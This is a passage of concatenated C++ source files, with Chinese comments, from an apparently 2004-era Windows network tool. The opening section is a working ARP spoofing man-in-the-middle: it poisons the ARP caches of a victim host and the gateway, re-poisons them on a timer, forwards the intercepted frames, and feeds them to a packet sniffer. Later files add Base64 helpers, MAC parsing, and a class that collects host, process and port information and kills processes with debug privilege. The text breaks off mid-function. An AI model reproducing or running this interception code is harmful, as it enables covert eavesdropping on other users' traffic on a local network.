0;}//下面5行代碼的解釋:告訴欺騙目標,網關的IP是我的MAC --- 目的:截獲受騙者發給網關的數據AllIpMacTable.cheatsrc.Ip=AllIpMacTable.gateway.Ip;AllIpMacTable.cheatsrc.Mac=AllIpMacTable.my.Mac;printf("\r\n-->開始欺騙第一個目標主機...\r\n欺騙源ip: %s\t\t欺騙源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);printf("\r\n受騙主機: %s\t\t受騙的mac: %s\r\n", AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac);SendArpPacket(3, lpAdapter,lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));//-w 嗅探方式,1代表單向嗅探[si->di],0代表雙向嗅探[si<->di]if(sniffuserinfo.Way == 0){//下面5行代碼的解釋:告訴網關,受騙者的IP是我的MAC --- 目的:截獲網關發給受騙者的數據AllIpMacTable.cheatsrc.Ip=AllIpMacTable.cheattag.Ip;AllIpMacTable.cheatsrc.Mac=AllIpMacTable.my.Mac;printf("\r\n-->開始欺騙第二個目標主機...\r\n欺騙源ip: %s\t\t欺騙源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);printf("\r\n受騙主機: %s\t\t受騙的mac: %s\r\n",AllIpMacTable.gateway.Ip, AllIpMacTable.gateway.Mac);SendArpPacket(3,lpAdapter,lpPacket, &(AllIpMacTable.gateway), &(AllIpMacTable.cheatsrc));printf("\r\n<--雙向欺騙完成\r\n\r\n+Cheat ok,start sniff...\nPress any key to stop :)\n");}else{printf("\r\n<--單向欺騙完成\r\n\r\n+Cheat ok,start sniff...\nPress any key to stop :)\n"); }}if(RunType == CHEAT_AND_SNIFF){ //欺騙模式下 ,設置非混雜模式,減少工作量if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_DIRECTED) == FALSE){printf("Warning: unable to set directed mode!\n");}}else{//非欺騙模式下混雜模式if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE){printf("Warning: unable to set promiscuous mode!\n");}}//設置捕獲的內核級緩沖區的大小if(PacketSetBuff(lpAdapter,512000) == FALSE){printf("Unable to set the kernel buffer!\n");return -1;}//設置一次讀操作返回的超時時間if(PacketSetReadTimeout(lpAdapter,50) == FALSE){printf("Warning: unable to set the read tiemout!\n");}if(PacketSetNumWrites(lpAdapter,1) == FALSE){printf("warning: Unable to send more than one packet in a single write!\n");return 0;}//初始化一個_PACKET結構,即將packet結構中的buffer設置為傳遞的buffer指針char buffer[256000];PacketInitPacket(lpPacket,buffer,256000); //非rawsniffer方式啟動初始化//rsniffer.Start(1);StartTime = LastSendTime = GetCurrentTimeSeconds();//kbhit函數:檢查當前是否有鍵盤輸入,若有則返回一個非0值,否則返回0while(! kbhit()){//接收原始數據包if(PacketReceivePacket(lpAdapter, lpPacket, FALSE) == FALSE){printf("Error: PacketReceivePacket failed");return (-1);}ulBytesReceived = lpPacket->ulBytesReceived;char *buf = (char *)lpPacket->Buffer;u_int off = 0;if(off < ulBytesReceived){hdr = (struct bpf_hdr *)(buf + off);u_int tlen1 = hdr->bh_datalen;off += hdr->bh_hdrlen;char *pChar = (char*)(buf+off);char *base = pChar;if(RunType == CHEAT_AND_SNIFF){int recvMillSecond = GetCurrentTimeSeconds() - LastSendTime;//進行再欺騙if(recvMillSecond >= CHEAT_SEND_TIME){AllIpMacTable.cheatsrc.Ip = AllIpMacTable.gateway.Ip;AllIpMacTable.cheatsrc.Mac = AllIpMacTable.my.Mac;SendArpPacket(1, lpAdapter, lpPacket_Cheat, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));//雙向欺騙if(sniffuserinfo.Way == 0){AllIpMacTable.cheatsrc.Ip = AllIpMacTable.cheattag.Ip;AllIpMacTable.cheatsrc.Mac = AllIpMacTable.my.Mac;SendArpPacket(1,lpAdapter, lpPacket_Cheat, &(AllIpMacTable.gateway), &(AllIpMacTable.cheatsrc));}LastSendTime=GetCurrentTimeSeconds();}//分析數據包類型int type = IsInvalidPacket(base);if(type == 0) //數據包是本地發出去的continue;else if(type == 1) memcpy(base, GateMac, 6);else memcpy(base, TagMac, 6);memcpy(base+6, MyMac, 6);//如果數據包是因欺騙二獲得到的,需要抓法該數據包,否則將會導致原鏈接失去連接LPPACKET lpPacket_Send = PacketAllocatePacket();if(lpPacket_Send == NULL){printf("\nError: failed to allocate the LPPACKET structure send.");return (-1);}PacketInitPacket(lpPacket_Send, base, tlen1);PacketSendPacket(lpAdapter, lpPacket_Send, TRUE);//解析嗅探到的信息rsniffer.AnalysePacket(base + 14);}else{//解析本地嗅探到的信息rsniffer.AnalysePacket(base+14);}}}EndTime = GetCurrentTimeSeconds();//恢復正常網絡通信if(RunType == CHEAT_AND_SNIFF){SendArpPacket(1, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.gateway));SendArpPacket(1, lpAdapter, lpPacket, &(AllIpMacTable.gateway), &(AllIpMacTable.cheattag));printf("\r\n+reset ok,cheat and sniff stoped ...\r\n");}printf("\r\n+Sniff Done OK :)\r\n");//打印抓包狀態if(PacketGetStats(lpAdapter, &stat) == FALSE){printf("Warning: unable to get stats from the kernel!\n");}else{printf("%d packets received.\n", stat.bs_recv);printf("%d Packets lost.\n", stat.bs_drop);printf("%d Packets no check.\n", LostPacket);printf("%d Packets/Sec Take %ld Seconds\n", stat.bs_recv/(EndTime-StartTime), EndTime-StartTime);}//釋放資源PacketFreePacket(lpPacket);//關閉網卡PacketCloseAdapter(lpAdapter);return 0; }
BASE641.h
/*==========================================================================ASCII---->base64 source codepowered by shadow@2004.10.4 01:01 web:http://www.codehome.6600.org info:sperated by 6 bits: -----Base64 code table: -----0-25--> 'A"-'Z' 26-51-->'a'-'z' 52-61-->'0'-'9' 62-->'+' 63-->'/' ============================================================================*/#if !defined(AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_) #define AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_#if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #define MaxLen 741 #define DeMaxLen 1014 class BASE64 { public:int FileDecode(char * fromfile,char * tofile);char * StringDecode(unsigned char *p);void Reset();char * GetLastError();int FileEncode(char *fromfile,char *tofile);char * StringEncode(unsigned char *p);BASE64();virtual ~BASE64();private:void decode_2();void decode_4();void decode_3();void file_decode(FILE *fp);//void file_encode(FILE *fp);void encode_3();void encode_2();void encode_1();void put(unsigned char ch);FILE * fp_in;FILE * fp_out;bool StrEncode;bool StrDecode;unsigned char code[3];unsigned char decode[5];int length;char *base64_str;char Base64Str[1015];int errorcode;char *Base64Error[3]; };#endif // !defined(AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_)
BASE641.cpp
/*========================================================================== ASCII---->base64 source code powered by shadow @2004.10.4 01:01 web:http://www.codehome.6600.org info: sperated by 6 bits: -----Base64 code table: -----0-25--> 'A"-'Z' 26-51-->'a'-'z' 52-61-->'0'-'9' 62-->'+' 63-->'/' ============================================================================*/#include "stdafx.h" #include "BASE641.h" #pragma warning(disable:4996)BASE64::BASE64() {length=0;StrEncode=false;StrDecode=false;memset(Base64Str,0,1015);base64_str=Base64Str;fp_in=NULL;fp_out=NULL;Base64Error[0]="Encode Success!";Base64Error[1]="String too long!";Base64Error[2]="Open file failed!";//MessageBox(NULL,"com","com",MB_OK); }BASE64::~BASE64() {}void BASE64::put(unsigned char ch) {if(ch>=0&&ch<=25) ch+=65;else if(ch>=26&&ch<=51) ch+=71;else if(ch>=52&&ch<=61) ch-=4;else if(ch==62) ch='+';else ch='/';if(fp_out!=NULL)fputc(ch,fp_out);//printf("%c",ch);if(StrEncode) *(base64_str++)=ch;length++;if(length%76==0){length=0;if(fp_out!=NULL) fputs("\r\n",fp_out);if(StrEncode){*(base64_str++)='\r';*(base64_str++)='\n';}} }void BASE64::encode_1() {int i;unsigned char ch;ch=code[0]>>2;put(ch);ch=(code[0]<<4)&63;put(ch);for(i=0;i<2;i++){if(fp_out!=NULL) fputc('=',fp_out);//printf("=");if(StrEncode) *(base64_str++)='=';length++;if(length%76==0){length=0;if(fp_out!=NULL) fputs("\r\n",fp_out);if(StrEncode){*(base64_str++)='\r';*(base64_str++)='\n';}}} }void BASE64::encode_2() {unsigned char ch;ch=code[0]>>2;put(ch);ch=(code[0]<<4|code[1]>>4)&63;put(ch);ch=(code[1]<<2)&63;put(ch);if(fp_out!=NULL) fputc('=',fp_out);//printf("=");if(StrEncode) *(base64_str++)='=';length++;if(length%76==0){length=0;if(fp_out!=NULL) fputs("\r\n",fp_out);if(StrEncode){*(base64_str++)='\r';*(base64_str++)='\n';}} }void BASE64::encode_3() {unsigned char ch;ch=code[0]>>2;put(ch);ch=(code[0]<<4|code[1]>>4)&63;put(ch);ch=(code[1]<<2|code[2]>>6)&63;put(ch);ch=code[2]&63;put(ch); }void BASE64::file_encode(FILE *fp) {int i=0;while(!feof(fp)){code[i]=fgetc(fp);if(code[i]==255&&feof(fp)) ; /*如果把文件的結尾標志-1讀出來,即無符號就是255,那就不算,如果不是在文件尾就算,主要考慮到exe文件情況*/else i++;if(i==3) {encode_3();i=0;}}switch(i){case 1:encode_1();break;case 2:encode_2();break;default:break;} }char * BASE64::StringEncode(unsigned char *p) {char *base64strcopy = new char[1015];ZeroMemory(base64strcopy, 1015);if(strlen((char *)p)>MaxLen){errorcode=1;return NULL;} int i=0;StrEncode=true;if(StrEncode){while(*p){code[i]=*p;i++;p++;if(i==3) {encode_3();i=0;}}switch(i){case 1:encode_1();break;case 2:encode_2();break;default:break;}}errorcode=0; memset(base64strcopy,0,1015);strcpy(base64strcopy,Base64Str);// MessageBox(NULL,base64strcopy,"strong",MB_OK);Reset();return base64strcopy; }int BASE64::FileEncode(char *fromfile,char *tofile) {fp_in=fopen(fromfile,"rb");fp_out=fopen(tofile,"wb+");if(fp_in==NULL||fp_out==NULL){errorcode=2;return errorcode;}file_encode(fp_in);errorcode=0;fclose(fp_in);fclose(fp_out);Reset();return errorcode; }char * BASE64::GetLastError() {return Base64Error[errorcode]; }void BASE64::Reset() {length=0;StrEncode=false;StrDecode=false;memset(Base64Str,0,1015);base64_str=Base64Str; } //next is base64 decode void BASE64::decode_2() {unsigned char ch;ch=(decode[1]<<2)|(decode[2]>>4);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch; }void BASE64::decode_3() {unsigned char ch;ch=(decode[1]<<2)|(decode[2]>>4);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch;ch=(decode[2]<<4)|(decode[3]>>2);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch; }void BASE64::decode_4() {unsigned char ch;ch=(decode[1]<<2)|(decode[2]>>4);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch;ch=(decode[2]<<4)|(decode[3]>>2);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch;ch=(decode[3]<<6)|decode[4];if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch; }void BASE64::file_decode(FILE *fp) {int i=1,j=0;while(!feof(fp)){decode[i]=fgetc(fp);if(decode[i]==255&&feof(fp)) ; /*如果把文件的結尾標志-1讀出來,即無符號就是255,那就不算,如果不是在文件尾就算,主要考慮到exe文件情況*/else{if(decode[i]>=65&&decode[i]<=90) {decode[i]-=65;j++;}else if(decode[i]>=97&&decode[i]<=122) {decode[i]-=71;j++;}else if(decode[i]>=48&&decode[i]<=57) {decode[i]+=4;j++;}else if(decode[i]=='+') {decode[i]=62;j++;}else if(decode[i]=='/') {decode[i]=63;j++;}else ;i++;length++;if(length%76==0) fseek(fp,2L,1);}if(j==4) {decode_4();i=1;j=0;}}switch(j){case 2:decode_2();break;case 3:decode_3();break;default:break;} }char * BASE64::StringDecode(unsigned char *p) {if(strlen((char *)p)>DeMaxLen){errorcode=1;return NULL;}int i=1,j=0;StrDecode=true;if(StrDecode){while(*p){if(*p=='\r'||*p=='\n') continue;decode[i]=*p;if(decode[i]>=65&&decode[i]<=90) {decode[i]-=65;j++;}else if(decode[i]>=97&&decode[i]<=122) {decode[i]-=71;j++;}else if(decode[i]>=48&&decode[i]<=57) {decode[i]+=4;j++;}else if(decode[i]=='+') {decode[i]=62;j++;}else if(decode[i]=='/') {decode[i]=63;j++;}p++;i++;if(j==4) {decode_4();i=1;j=0;}}switch(j){case 2:decode_2();break;case 3:decode_3();break;default:break;}}errorcode=0;char *debase64str = new char[1015];strcpy(debase64str,Base64Str);Reset();return debase64str; }int BASE64::FileDecode(char *fromfile, char *tofile) {fp_in=fopen(fromfile,"rb");fp_out=fopen(tofile,"wb+");if(fp_in==NULL||fp_out==NULL){errorcode=2;return errorcode;}file_decode(fp_in);errorcode=0;fclose(fp_in);fclose(fp_out);Reset();return errorcode; }
mac.h
#ifndef _MAC_H_ #define _MAC_H_//#include <windows.h>int StringToInt(char* String); bool GetMacAddr(CString Mac, char* MacAddr);#endif
mac.cpp
#include "stdafx.h" #include "Mac.h" #include <windows.h> //#include "stdlib.h"USHORT CT[256]= {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, };int StringToInt(char* String) {int nRetCode;nRetCode = CT[*String];nRetCode = (nRetCode * 16) + CT[*(String + 1)];return nRetCode; }//把MAC地址從CString格式轉化為char格式 bool GetMacAddr(CString Mac, char* MacAddr) {int i;char szTemp[2];char *szMacAddr_String;char pmac[13];pmac[12]='\0';wsprintf(pmac,"%s",Mac);szMacAddr_String=pmac;for (i = 0; i < 6; i++){//szTemp = {0};szTemp[0] = *(szMacAddr_String + (2 * i));szTemp[1] = *(szMacAddr_String + (2 * i) + 1);*(MacAddr + i) = StringToInt(szTemp);if (*(MacAddr + i) > 0xFF)return false;}return true; }
PcInfor.h
/*==================================================================== filename:PcInfor.h Use:the header file for define the class PcInfor powered by shadow @2004/10/20 my web:http://www.codehome.6600.org ======================================================================*/ #include <winsock2.h> //#include <ws2tcpip.h> #include <tlhelp32.h> #include <io.h>//系統信息 typedef struct _SYSINFO {CString IP;CString ComputerName;CString CurrentUserName;CString CpuNumbers;CString CpuVersion;CString CpuType;CString CpuStruct;CString DisplayMode;CString ColorDisplay;CString OSName;CString OSMajorVersion;CString OSMinorVersion;CString TotalPhyMemory;CString AvailPhyMemory;CString TotalVirtualMemory;CString AvailVirtualMemory;CString UseedMemory;CString CurrentDirectory;CString SystemDirectory;CString TempDirectory;CString WinDirectory; }SYSTEMINFO;//驅動信息 typedef struct _DRIVERINFO {CString DriverName;CString DriverVolInfo;CString DriverSerialNum;CString DriverFileSystemFlag;CString DriverFileSystem;CString ErrorString;CString DriverTotalSize;CString DriverAvailSize;CString DriverUseedSize;_DRIVERINFO *Next; }DRIVERINFO;//進程信息 typedef struct _PROCESSINFO {CString ProcessName;DWORD ProcessId;DWORD ParentProcessId; }PROCESSINFO;//端口--進程信息 typedef struct _PORTTOPROCESS {CString Port;CString Protocol;CString Pid;CString ProcName;CString ProcPath; }PORTTOPROCESS;//本地計算機信息 class PcInfor { public:PcInfor();virtual ~PcInfor();public:int ErrorCode;DRIVERINFO DriverInfo[26];PROCESSINFO ProcessInfo[100]; //進程信息PORTTOPROCESS PortToProcess[100];SYSTEMINFO SystemInfo;public:void GetLocalIp();void WriteProcinfo();void DeleteTempFile();void GetPortToProcessInfo();void GetProcPath();void FindProcPath();void FindProcName();bool InsertPortList(CString port,CString pid,CString type);int GetListenPort();void BornUdpListen();void BornTcpListen();int KillProcByName(char *exename);int GetPsList();int DriverNum,ProcessNum,PortNum;char * PcInfoError[10];char * GetLastError(int errorcode);char * GetLastError();int GetPcInfo();int GetDriverInfo();int GetPcSystemInfo();int KillProc(DWORD pid);private:int SetPrivilege(HANDLE token_hdl,LPCTSTR lp_privilege);};
PcInfor.cpp
/*==================================================================== filename:PcInfor.cpp Use:get PcInfor powered by shadow @2004/10/20 my web:http://www.codehome.6600.org ======================================================================*/ #include "stdafx.h" #include "PcInfor.h" #pragma comment(lib,"ws2_32.lib") #pragma warning(disable:4996)PcInfor::PcInfor() {GetPcInfo(); }PcInfor::~PcInfor() { }int PcInfor::GetPcSystemInfo() {int errorcode;DWORD len=MAX_COMPUTERNAME_LENGTH+1;//IP信息SystemInfo.IP.Format("%s","IP not get!");//獲取用戶名char UserName[MAX_COMPUTERNAME_LENGTH+1];if(!GetUserName(UserName,&len)){errorcode=1;SystemInfo.CurrentUserName="get user name error";}else SystemInfo.CurrentUserName.Format("%s",UserName);//獲取計算機名字char PcName[MAX_COMPUTERNAME_LENGTH+1];if(!GetComputerName(PcName,&len)){errorcode=2;SystemInfo.ComputerName="get computer name error";}else SystemInfo.ComputerName.Format("%s",PcName);//獲得CPU信息SYSTEM_INFO system_info;GetSystemInfo(&system_info);SystemInfo.CpuNumbers.Format("%d",system_info.dwNumberOfProcessors);SystemInfo.CpuVersion.Format("%d",system_info.wProcessorRevision);SystemInfo.CpuStruct.Format("%d",system_info.wProcessorLevel);switch(system_info.dwProcessorType){case PROCESSOR_INTEL_386:SystemInfo.CpuType="intel 80386";break;case PROCESSOR_INTEL_486:SystemInfo.CpuType="intel 80486";break;case PROCESSOR_INTEL_PENTIUM:SystemInfo.CpuType="Pentium";break;case 6:SystemInfo.CpuType="prn pro";break;case 7:SystemInfo.CpuType="pen III";break;case 8:SystemInfo.CpuType="pen IV";break;case PROCESSOR_MIPS_R4000:SystemInfo.CpuType="Mips R4000";break;// case PROCESSOR_ALPHA_21046:// SystemInfo.CpuType="Alpha 21046";// break;default:SystemInfo.CpuType="unknow";break;}//獲取顯卡信息DEVMODE devmode;int i=0;while(EnumDisplaySettings(NULL,i,&devmode)) i++;SystemInfo.DisplayMode.Format("%d*%d",devmode.dmPelsWidth,devmode.dmPelsHeight);SystemInfo.ColorDisplay.Format("%d",devmode.dmBitsPerPel);//操作系統信息OSVERSIONINFO osversion;osversion.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);if(GetVersionEx(&osversion)){SystemInfo.OSMajorVersion.Format("%d",osversion.dwMajorVersion);SystemInfo.OSMinorVersion.Format("%d",osversion.dwMinorVersion);switch(osversion.dwPlatformId){case VER_PLATFORM_WIN32s:SystemInfo.OSName="Win32s on Windows 3.1";break;case VER_PLATFORM_WIN32_WINDOWS:SystemInfo.OSName="Windows95/98";break;case VER_PLATFORM_WIN32_NT:SystemInfo.OSName="Windows NT";break;default:SystemInfo.OSName="Unknow OS";break;}}else{SystemInfo.OSName="get os error";SystemInfo.OSMajorVersion="get major version error";SystemInfo.OSMinorVersion="get minor version error";}//獲取內存信息MEMORYSTATUS memory_status;memory_status.dwLength=sizeof(MEMORYSTATUS);GlobalMemoryStatus(&memory_status);/*if(1){*/SystemInfo.TotalPhyMemory.Format("%ld",memory_status.dwTotalPhys);SystemInfo.TotalVirtualMemory.Format("%ld",memory_status.dwTotalVirtual);SystemInfo.AvailPhyMemory.Format("%ld",memory_status.dwAvailPhys);SystemInfo.AvailVirtualMemory.Format("%ld",memory_status.dwAvailVirtual);SystemInfo.UseedMemory.Format("%ld",memory_status.dwMemoryLoad);/* }else{SystemInfo.TotalPhyMemory="get memory error";SystemInfo.TotalVirtualMemory="get memory error";SystemInfo.AvailPhyMemory="get memory error";SystemInfo.AvailVirtualMemory="get memory error";SystemInfo.UseedMemory="get memory error";}*///當前目錄char dir[MAX_PATH];if(GetCurrentDirectory(MAX_PATH,dir)) SystemInfo.CurrentDirectory.Format("%s",dir);else SystemInfo.CurrentDirectory="get path error"; //系統目錄if(GetSystemDirectory(dir,MAX_PATH)) SystemInfo.SystemDirectory.Format("%s",dir);else SystemInfo.SystemDirectory="get path error"; //臨時目錄if(GetTempPath(MAX_PATH,dir)) SystemInfo.TempDirectory.Format("%s",dir);else SystemInfo.TempDirectory="get path error";//Window目錄if(GetWindowsDirectory(dir,MAX_PATH)) SystemInfo.WinDirectory.Format("%s",dir);else SystemInfo.WinDirectory="get path error"; errorcode=0;return 0; }int PcInfor::GetDriverInfo() {//get driver info__int64 driver_mask;int i;DWORD driver_flag;unsigned char ch;char DriverName[4];CString TotalSize,AvailSize,UseSize,DriveName,FileSystem,FileSystemFlag,SerialNum,VolInfo,ErrorString;driver_mask=1;driver_flag=GetLogicalDrives();ULARGE_INTEGER bytesforcaller,totalbytes,freebytes;i=0;DriverName[1]=':';DriverName[2]='\\';DriverName[3]='\0';DriverNum=0;for(ch='A';ch<='Z';ch++){DriveName="get info error";TotalSize="get info error";AvailSize="get info error";UseSize="get info error";FileSystem="get info error";FileSystemFlag="get info error";SerialNum="get info error";VolInfo="get info error";ErrorString="get info ok";if(driver_mask&driver_flag){DriverName[0]=ch;DriveName.Format("%s",DriverName);if(GetDiskFreeSpaceEx(DriverName,&bytesforcaller,&totalbytes,&freebytes)){int totalMB,freeMB,useMB;char volname[MAX_PATH];char filesystem_name[MAX_PATH];DWORD filesystem_flag,serialnum,maxlength;totalMB=totalbytes.QuadPart/1024/1024;freeMB=freebytes.QuadPart/1024/1024;if(totalMB==-1) totalMB=0;if(freeMB==-1) freeMB=0;useMB=totalMB-freeMB;if(useMB<0) useMB=0;TotalSize.Format("%d",totalMB);AvailSize.Format("%d",freeMB);UseSize.Format("%d",useMB);if(GetVolumeInformation(DriverName,volname,MAX_PATH,&serialnum,&maxlength,&filesystem_flag,filesystem_name,MAX_PATH)){if(filesystem_flag&FS_CASE_IS_PRESERVED) FileSystemFlag="FA_CASE_IS_PRESERVED";if(filesystem_flag&FS_CASE_SENSITIVE) FileSystemFlag="FS_CASE_SENSITIVE";if(filesystem_flag&FS_PERSISTENT_ACLS) FileSystemFlag="FS_PERSISTENT_ACLS";if(filesystem_flag&FS_UNICODE_STORED_ON_DISK) FileSystemFlag="FS_UNICODE_STORED_ON_DISK";if(filesystem_flag&FS_VOL_IS_COMPRESSED) FileSystemFlag="FS_VOL_IS_COMPRESSED";SerialNum.Format("%0xH",serialnum);SerialNum.Insert(SerialNum.GetLength()/2+1,"-");VolInfo.Format("%s",volname);FileSystem.Format("%s",filesystem_name);}else ErrorString="獲取驅動器卷標失敗";} else ErrorString="驅動器未準備好"; ///*DriverInfo[i].DriverAvailSize=AvailSize; DriverInfo[i].DriverFileSystem=FileSystem;DriverInfo[i].DriverFileSystemFlag=FileSystemFlag;DriverInfo[i].DriverName=DriveName;DriverInfo[i].DriverSerialNum=SerialNum;DriverInfo[i].DriverTotalSize=TotalSize;DriverInfo[i].DriverUseedSize=UseSize;DriverInfo[i].DriverVolInfo=VolInfo;DriverInfo[i].ErrorString=ErrorString;DriverInfo[i].Next=NULL;i++;DriverNum++;//*/}driver_mask<<=1;}return 0; }int PcInfor::GetPcInfo() {GetPcSystemInfo();GetDriverInfo();GetPsList();GetLocalIp();return 0; }//獲取錯誤碼 char * PcInfor::GetLastError() {return PcInfoError[ErrorCode]; }//獲取錯誤碼 char * PcInfor::GetLastError(int errorcode) {return PcInfoError[errorcode]; }//進程列表 int PcInfor::GetPsList() {HANDLE ProcHdl;PROCESSENTRY32 Pe32={0};ProcHdl=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);ProcessNum=0;if(ProcHdl==((HANDLE)-1)) return 1;Pe32.dwSize=sizeof(PROCESSENTRY32);if(Process32First(ProcHdl,&Pe32)){do{ProcessInfo[ProcessNum].ProcessName=Pe32.szExeFile;ProcessInfo[ProcessNum].ProcessId=(DWORD)Pe32.th32ProcessID;ProcessInfo[ProcessNum].ParentProcessId=(DWORD)Pe32.th32ParentProcessID;ProcessNum++;}while(Process32Next(ProcHdl,&Pe32));}CloseHandle(ProcHdl);return 0; }//設置進程權限 int PcInfor::SetPrivilege(HANDLE token_hdl,LPCTSTR lp_privilege) {TOKEN_PRIVILEGES tp;LUID luid;if(!LookupPrivilegeValue(NULL,lp_privilege,&luid)){return 0;}tp.PrivilegeCount=1;tp.Privileges[0].Luid=luid;tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;if(!AdjustTokenPrivileges(token_hdl,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){return 0;}return 1; }//殺進程,通過進程ID int PcInfor::KillProc(DWORD pid) {BOOL killed=false;HANDLE proc_hdl,token_hdl;__try{if(pid>=0){OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token_hdl);if(token_hdl) SetPrivilege(token_hdl,SE_DEBUG_NAME);if((proc_hdl=OpenProcess(PROCESS_ALL_ACCESS,false,pid))!=NULL){if(TerminateProcess(proc_hdl,1)) killed=true;}}}__finally{if(proc_hdl!=NULL) CloseHandle(proc_hdl);if(token_hdl!=NULL) CloseHandle(token_hdl);}if(killed) return 1;return 0; }//殺進程,通過進程名字 int PcInfor::KillProcByName(char *exename) {GetPsList();int i;bool killed=false;CString DestExeName;DestExeName.Format("%s",exename);DestExeName.MakeLower();for(i=0;i<ProcessNum;i++){ProcessInfo[i].ProcessName.MakeLower();if(DestExeName==ProcessInfo[i].ProcessName){if(KillProc(ProcessInfo[i].ProcessId)) killed=true;}}if(killed) return 1;else return 0; }//查看TCP監聽的連接,生成文件 void PcInfor::BornTcpListen() {//DOS命令輸出到文件system("netstat -ano|find \"LISTENING\">tcplisten.txt"); }//查看UDP監聽的連接,生成文件 void PcInfor::BornUdpListen() {//DOS命令輸出到文件system("netstat -ano|find \"UDP\">udplisten.txt"); }//查看監聽的端口 int PcInfor::GetListenPort() {FILE *fin;char getstring[150],tempstring[150];fin=fopen("tcplisten.txt","r");int port,pid,temp;CString CPort,CPid,CType;PortNum=0;if(fin!=NULL){while(!feof(fin)){fgets(getstring,sizeof(getstring),fin);sscanf(getstring,"%s%d.%d.%d.%d:%d%d.%d.%d.%d:%d%s%d",tempstring,&temp,&temp,&temp,&temp,&port,&temp,&temp,&temp,&temp,&temp,tempstring,&pid);CPort.Format("%d",port);CPid.Format("%d",pid);CType="TCP";if(InsertPortList(CPort,CPid,CType)) PortNum++;}fclose(fin);}fin=fopen("udplisten.txt","r");if(fin!=NULL){while(!feof(fin)){fgets(getstring,sizeof(getstring),fin);sscanf(getstring,"%s%d.%d.%d.%d:%d%s%d",tempstring,&temp,&temp,&temp,&temp,&port,tempstring,&pid);CPort.Format("%d",port);CPid.Format("%d",pid);CType="UDP";if(InsertPortList(CPort,CPid,CType)) PortNum++;}fclose(fin);}CType.Format("%d",PortNum);TRACE(CType);return PortNum; }//監聽端口和進程的信息 bool PcInfor::InsertPortList(CString port,CString pid, CString type) {int 